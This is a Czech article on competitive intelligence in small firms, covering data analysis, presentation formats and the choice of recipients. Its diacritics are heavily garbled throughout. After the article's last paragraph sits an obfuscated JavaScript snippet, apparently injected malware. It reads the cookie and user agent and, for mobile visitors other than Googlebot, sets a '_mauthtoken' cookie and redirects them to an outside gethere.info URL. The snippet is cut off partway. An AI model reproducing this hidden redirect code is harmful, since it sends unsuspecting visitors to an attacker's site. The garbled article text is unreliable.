UA?EAi??, M.: Competitive intelligence a malAi?? firmy (IV.)

Autorské články, Odborné články, Realizace CI

17. 10. 2011

V dneA?nAi??m pokraA?ovA?nAi?? se zamAi??Ai??Ai??me na dalA?Ai?? kroky v cyklu konkurenA?nAi??ho zpravodajstvAi??: po sbAi??ru dat nA?s A?ekA? jejich tAi??Ai??dAi??nAi?? a analA?za, volba vhodnAi??ho zpA?sobu prezentace a volba relevantnAi??ch pAi??Ai??jemcA?. SamozAi??ejmAi?? i v malA?ch firmA?ch se nelze tAi??mto A?innostem vyhnout a jsou nezbytnou souA?A?stAi?? cyklu CI… PAi??esto jim znaA?nA? A?A?st firem nepAi??iklA?dA? velkou vA?hu a spAi??A?e se soustAi??edAi?? na vyhledA?vA?nAi?? informacAi??.

Autor: Michal UA?eA?

Cyklus a procesy CI vAi??malA?ch firmA?ch: tAi??Ai??dAi??nA­i??, analA?za a distribuce informacAi??

Jak uA? bohuA?el naznaA?uje A?vod A?lA?nku, firmy A?asto opomAi??jAi?? dA?leA?itost A?innostAi?? nA?sledujAi??cA­i??ch po vyhledA?nAi?? informacAi??. A?A?steA?nAi?? je to i chyba dodavatelA? specializovanA?ch softwarA?, kteAi??Ai?? prA?vAi?? vyhledA?vA?nAi?? a monitoring kladou na prvnAi?? mAi??sto a prezentujAi?? je jako hlavnAi?? vA?hodu svA?ch produktA?. JistAi?? jsou to bezmA?la nejdA?leA?itA­i??jA?Ai?? A?innosti vAi??celAi??m cyklu, ale pokud si pAi??edstavAi??me, A?e zAi??skA?me informaci a ta se dostane kAi??pAi??Ai??jemci vAi??nesprA?vnAi?? formAi?? (nebo dokonce osoba, kterA? tuto informaci potAi??ebuje, ji vA?bec nedostane), pak je celkem jasnAi??, A?e bude potAi??eba nastavit ve firmAi?? procesy pro celA? cyklus CI.

Tento problAi??m se ovA?em tA?kA? hlavnAi?? velkA?ch firem, kde jsou informace prezentovanAi?? velkAi??mu publiku. V tAi??chAi??ma­lA?ch je vA?e podstatnAi?? zjednoduA?enAi??, rychlejA?Ai?? a efektivnAi??jA?A­i??.

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AnalA?za a tAi??Ai??dAi??nAi?? dat

Jakmile jiA? osoba zajiA?A?ujAi??cAi?? konkurenA?nAi?? zpravodajstvAi?? zAi??skala potAi??ebnA? data, je nutnAi?? je pAi??emAi??nit na informace. To znamenA? provAi??st analA?zu vA?ech dostupnA?ch dat a z nich vybrat pouze relevantnAi?? informace. DobrAi?? je takAi?? vAi??pAi??Ai??pa­dAi??, A?e je zprA?va obsA?hlejA?Ai??, zvA?raznit dA?leA?itAi?? body nebo napsat struA?nA? vA?tah (executive summary). Management, kterAi??mu je vAi??tA?ina zprA?v urA?ena, totiA? zpravidla nemA? A?as A?Ai??st dlouhAi?? texty. IdeA?lnAi?? je pak pAi??idat i nAi??jakAi?? vlastnAi?? zA?vAi??ry nebo myA?lenky ze strany CI specialisty ai??i?? proA? si myslAi??, A?e je informace dA?leA?itA? a jakAi?? mA?A?e mAi??t dA?sledky.

SamotnAi?? tAi??Ai??dAi??nAi?? dat probAi??hA? A?A?steA?nAi?? uA? pAi??i vyhledA?vA?nA­i??, kdy specialista zAi??skA?vA? monitoringem desAi??tky aA? stovky zprA?v dennAi?? (podle oboru a zacAi??lenAi?? monitoringu). VAi??takovAi??m pAi??Ai??padAi?? je samozAi??ejmAi?? nemoA?nAi?? A?Ai??st vA?echny zprA?vy. PrvnAi?? selekce je tedy vAi??tA?inou vA?zA?na na nadpis nebo A?vodnAi?? A?ryvek A?lA?nku. TAi??mto zpA?sobem lze odfiltrovat vAi??tA?inu nerelevantnAi??ch zprA?v, pAi??Ai??padnAi?? zprA?v duplicit­nAi??ch (stejnA? zprA?va publikovanA? v rA?znA?ch zdrojAi??ch). Jakmile uA? mA?me pAi??edpAi??i­pravenAi?? zprA?vy pro dalA?Ai?? analA?zu, je tAi??eba jiA? pAi??istoupit k jejich dA?kladnAi??mu proA?Ai??tA?nAi??. Velmi A?asto se ale v tAi??to fA?zAi?? objevujAi?? dalA?Ai?? otA?zky a nA?sleduje vyhledA?vA?nAi?? dalA?Ai??ch informacAi??, kterAi?? se zprA?vou souvisejAi??. NapAi??Ai??klad: specialista bAi??hem monitoringu nalezne zprA?vu o uvedenAi?? novAi??ho produktu konkurenA?nAi?? spoleA?nostAi??… ZprA?va sice uvA?dAi?? zA?kladnAi?? A?daje, ale urA?itAi?? by bylo vhodnAi?? podAi??vat se jeA?tAi?? na web danAi?? firmy, kde lze tAi??eba objevit odkaz na novou strA?nku dedikovanou novAi??mu produktu, kterA? bude zdrojem dalA?Ai??ch dA?leA?itA?ch informacAi??. U cAi??lenAi??ho vyhledA?vA?nAi?? informacAi?? nicmAi??nAi?? tento problAi??m nenastA?vA?, protoA?e uA? bAi??hem hledA?nAi?? vAi??me, co pAi??esnAi?? hledA?me (napAi??. zmAi??nu ceny u konkurence) a informace je tak prakticky vA?dy relevantnAi??. Jakmile mA?me kompletnAi?? informaci pohromadAi??, pAi??ichA?zAi?? A?as na jiA? zmAi??nAi??nAi?? formA?tovA?nAi??…

FormA?tovA?nAi?? informacAi?? a zpA?soby prezentace

Kdykoliv chceme nAi??jakAi?? informace prezentovat, je nutnAi?? se zamyslet nad vhodnA?m zpA?sobem. VA?bAi??r zpA?sobu komunikace informacAi?? v rA?mciAi??kon­kurenA?nAi??ho zpravodajstvAi?? vyplA?vA? vA?dy z potAi??eb konkrAi??tnAi?? firmy a mAi??l by odpovAi??dat jejAi?? vnitAi??nAi?? kultuAi??e. NapAi??Ai??klad firma, v nAi??A? se hojnAi?? komunikuje e-mailem, pravdAi??podobnAi?? upAi??ednostnAi?? rozesAi??lA?nAi?? zprA?v skrze elektronickou poA?tu. Na druhou stranu, ve firmAi??, kterA? A?Ai??tA? pA?r zamAi??stnancA? a pracuje doslova vAi??jednAi?? kancelA?Ai??i, mA?A?e bA?t informace jednoduA?e sdAi??lena A?stnAi?? a bez nAi??jakAi??ho zdrA?ovA?nAi?? se sAi??formA?lnAi?? A?pravou. KaA?dA? pAi??Ai??stup mA? svoje vA?hody a nevA?hody. NynAi?? si popAi??A?eme zA?kladnAi?? A?lenAi??nAi?? komunikace zprA?v konkure­nA?nAi??ho zpravodajstvAi??:

A?lenAi??nAi?? dle frekvence:

  • Ihned: vAi??tomto pAi??Ai??padAi?? specialista bezodkladnAi?? po nalezenAi??, analA?ze a formA?tovA?nAi?? pAi??edA? informaci relevantnAi??m osobA?m. VA?hodou je, A?e se informace dostane kAi??patAi??iA?nA?m lidem prakticky ihned. NevA?hodou, A?e kaA?dA? zprA?va se musAi?? formA?tovat zvlA?A?A?, a tak je tento pAi??Ai??stup A?asovAi?? nA?roA?nAi??jA?A­i??.
  • Periodicky: vAi??nAi??kterA?ch firmA?ch existujAi?? takzvanAi?? newslettery, kterAi?? shrnujAi?? informace za urA?itAi?? obdobAi?? (napAi??. tA?den nebo mAi??sAi??c). VAi??takovAi??m pAi??Ai??padAi?? mA?A?e CI specialista formA?tovat zprA?vy najednou, a tedy A?A?steA?nAi?? redukovat nutnA? A?as. Informace jsou takAi?? prezentovA?ny vAi??pAi??ehled­nAi?? formAi??. Na druhou stranu se informace dostA?vA? kAi??pAi??Ai??jemci se zpoA?dAi??nAi??m ai??i?? a navAi??c bez specializovanAi??ho softwaru je obtAi??A?nAi??jA?A­i?? rozesAi??lat rA?znAi?? zprA?vy rA?znA?m osobA?m tak, aby vA?dy dostaly pouze relevantnAi?? informace.
  • S pouA?itAi??m specializovanAi??ho softwaru: pasivnAi?? zpA?sob ze strany CI specialisty, kterA? vyuA?Ai??vA? software k uklA?dA?nAi?? jednotlivA?ch zprA?v. Klient (resp. pAi??Ai??sluA?nA? osoba ve firmAi??) si tak mA?A?e kdykoliv prohlAi??dnout aktuA?lnAi?? zprA?vy, kterAi?? muAi??software zobrazAi??. Kvalita tohoto zpA?sobu prezentace informacAi?? zA?leA?Ai?? pAi??edevA?Ai??m na kvalitAi?? danAi??ho softwaru; vAi??tA?inou bA?vA? moA?nost automaticky vytvA?Ai??et a rozesAi??lat periodickAi?? souhrny nebo posAi??lat upozornAi??nAi?? na novAi?? zprA?vy e-mailem. Je to tedy vAi??podstatAi?? kombinace pAi??edchozAi??ch zpA?sobA?, ale na druhou stranu je jasnAi??, A?e bude potAi??eba poA?Ai??tat sAi??nA?klady na software.

Podle zpA?sobu prezentace:

  • E-mailem: elektronickA? poA?ta je asi nejefektivnAi??jA?A­i?? a nejrychlejA?Ai?? zpA?sob komunikace. E-maily mohou bA?t formA?tovanAi?? automaticky s pomocAi??Ai??sof­twaru, pAi??Ai??padnAi?? s pouA?itAi??mA­i??nAi??jakAi?? A?ablony ruA?nAi??. Na zprA?vu mA?A?e pAi??Ai??mo navA?zat diskuze, ovA?em v pAi??semnAi?? podobAi?? bude pomalejA?Ai??.
  • V klasickAi?? prezentaci: pravidelnAi?? prezentace novA?ch zprA?v otevAi??ra­jAi?? velkA? prostor diskuzi nad zprA?vou, ale jsou A?asovAi?? nA?roA?nAi?? a bA?vA? i tAi??A?kAi?? svolat (pouze) relevantnAi?? o­soby.
  • AsstnAi??: tato forma komunikace se mA?A?e tA?kat pAi??Ai??padA?, kdy je ve firmAi?? malA? poA?et zamAi??stnancA? a je moA?nAi?? zprA?vu oznA?mit pAi??Ai??mo A?stnAi?? formou. VA?hodou je nejrychlejA?Ai?? komunikace (a to jak zprA?vy kAi??osobA?m, tak i ve smyslu nA?slednAi?? diskuze), aA?koliv chybAi?? jakA?koliv archivace zprA?vy. ZA?roveA? mA?A?e snadno dochA?zet kAi??informaA?nA­i??mu A?umu, protoA?e informace se A?Ai??Ai??Ai?? neAi??Ai??zenAi??.

JednotlivAi?? zpA?soby komunikace lze kombinovat, napAi??Ai??klad urgentnAi?? zprA?vy posAi??lat ihned e-mailem a ostatnAi?? formou newsletteru jednou tA?dnAi??.

PAi??estoA?e existujAi?? rA?znAi?? varianty komunikace, asi nejbAi??A?nAi??jA?A­i?? bA?vA? posAi??lA?nAi?? e-mailA? ihned po zjiA?tAi??nAi?? informace, pAi??iA?emA? vAi??malAi?? firmAi?? je to pravdAi??podob­nAi?? nejefektivnAi??jA?A­i?? Ai??eA?enAi??. E-mail totiA? pouA?Ai??vA? praticky kaA?dA? firma, a proto nenAi?? nutnAi?? kupovat specializovanA? software na vytvA?Ai??enAi?? reportA? a newsletterA? (pAi??Ai??padnAi?? pouA?Ai??vat jinak dostupnA? software, ve kterAi??m by ale jejich tvorba byla komplikovanA?). NicmAi??nAi?? je urA?itAi?? dobrAi?? nastavit si nAi??jakou A?ablonu pro e-mailovAi?? zprA?vy urA?enou zvlA?A?A? na komunikaci v rA?mci CI. PAi??Ai??klad takovAi?? A?ablony mA?A?ete vidAi??t nAi??A?e (samozAi??ejmAi?? je ovA?em tAi??eba si pAi??edstavu pAi??izpA?sobit dle e-mailovAi??ho klienta, kterA? pouA?Ai??vA?te):

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VA?hodou A?ablony je standardizovanA? struktura ai??i?? pAi??Ai??jemce vA?dy vAi??, kde mA? hledat konkrAi??tnAi?? A?daje a zvykne si na rozloA?enAi?? jednotlivA?ch A?A?stAi?? zprA?vy, zpA?sob oznaA?enAi?? dA?leA?itA?ch informacAi?? apod. ZprA?va by mAi??la vA?dy obsahovat alespoA? zA?kladnAi?? A?daje, jako je autor zprA?vy, datum zAi??skA?nAi?? informace, zdroj a souhrn dA?leA?itA?ch informacAi?? (executive summary), pAi??Ai??padnAi?? vlastnAi?? poznA?mky CI specialisty.

VA?bAi??r relevantnAi??ch pAi??Ai??jemcA?

Velmi dA?leA?itAi?? je pAi??i prezentaci zprA?v konkure­nA?nAi??ho zpravodajstvAi?? pAi??ihlAi??A?et na seznam pAi??Ai??jemcA?. Specialista CI mA? tak dalA?Ai?? dA?leA?itou roli vAi??celAi??m procesu, protoA?e musAi?? odhadnout informaA?nAi?? potAi??eby jednotlivA?ch osob. SamozAi??ejmAi?? lze odesAi??lat vA?echny zprA?vy vA?em, ale vAi??takovAi??m pAi??Ai??padAi?? dochA?zAi?? kAi??zatAi??A?o­vA?nAi?? osob, kterAi?? takovou informaci nepotAi??ebujAi??. ZA?roveA? je tu problAi??m sAi??poskytovA?nA­i?? citlivA?ch informacAi?? osobA?m, ke kterA?m by se dostat nemAi??ly (vAi??tA?inou se sice komunikujAi?? informace o konkurenci nebo trhu, ale vAi??rA?mci poznA?mek mohou bA?t souA?A?stAi?? tAi??eba i dA?vAi??rnA­i??jA?Ai?? informace o firmAi??).

VAi??malAi?? firmAi?? je velkou vA?hodou, A?e se zamAi??stnanci navzA?jem znajAi?? osobnAi?? a A?asto majAi?? i pAi??ehled o aktivitA?ch ostatnAi??ch kolegA?. SnA?ze tak odhadnou informaA?nAi?? potAi??ebu a zvolAi?? relevantnAi?? osoby, kterAi?? by danou zprA?vu mAi??ly obdrA?et. KromAi?? osob a jejich kompetencAi?? by mAi??l management poskytovat CI specialistovi informace o projektech, ke kterA?m mA?A?e svojAi?? A?innostAi?? takAi?? pAi??ispAi??t (to znamenA? i mimo standardnAi?? oblasti, kterAi?? jiA? prA?bAi??A?nAi?? sleduje). Pro zjednoduA?enAi?? je na stranAi?? CI specialisty vhodnAi??, aby si definoval skupiny pAi??Ai??jemcA?, napAi??Ai??klad podle oddAi??lenAi?? nebo projektu. Je ovA?em vAi??ce neA? vhodnAi?? u kaA?dAi?? zprA?vy zvA?A?it, jestli by nebyla pAi??Ai??nosnA? i dalA?Ai??m osobA?m. VAi??malA?ch firmA?ch to platAi?? dvojnA?sob, protoA?e funkce jednotlivA?ch zamAi??stnancA? se A?asto prolAi??najAi?? a zasahujAi?? do nAi??kolika oddAi??lenAi?? A?i oblastAi??.
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V pAi??Ai??A?tAi??m dAi??le uzavAi??eme cyklus konkurenA?nAi??ho zpravodajstvAi?? archivacAi?? zprA?v, zpAi??tnou vazbou a ladAi??nAi??m systAi??mu CI vAi??malAi?? firmAi??.var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g 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Rubrika: Autorské články, Odborné články, Realizace CI

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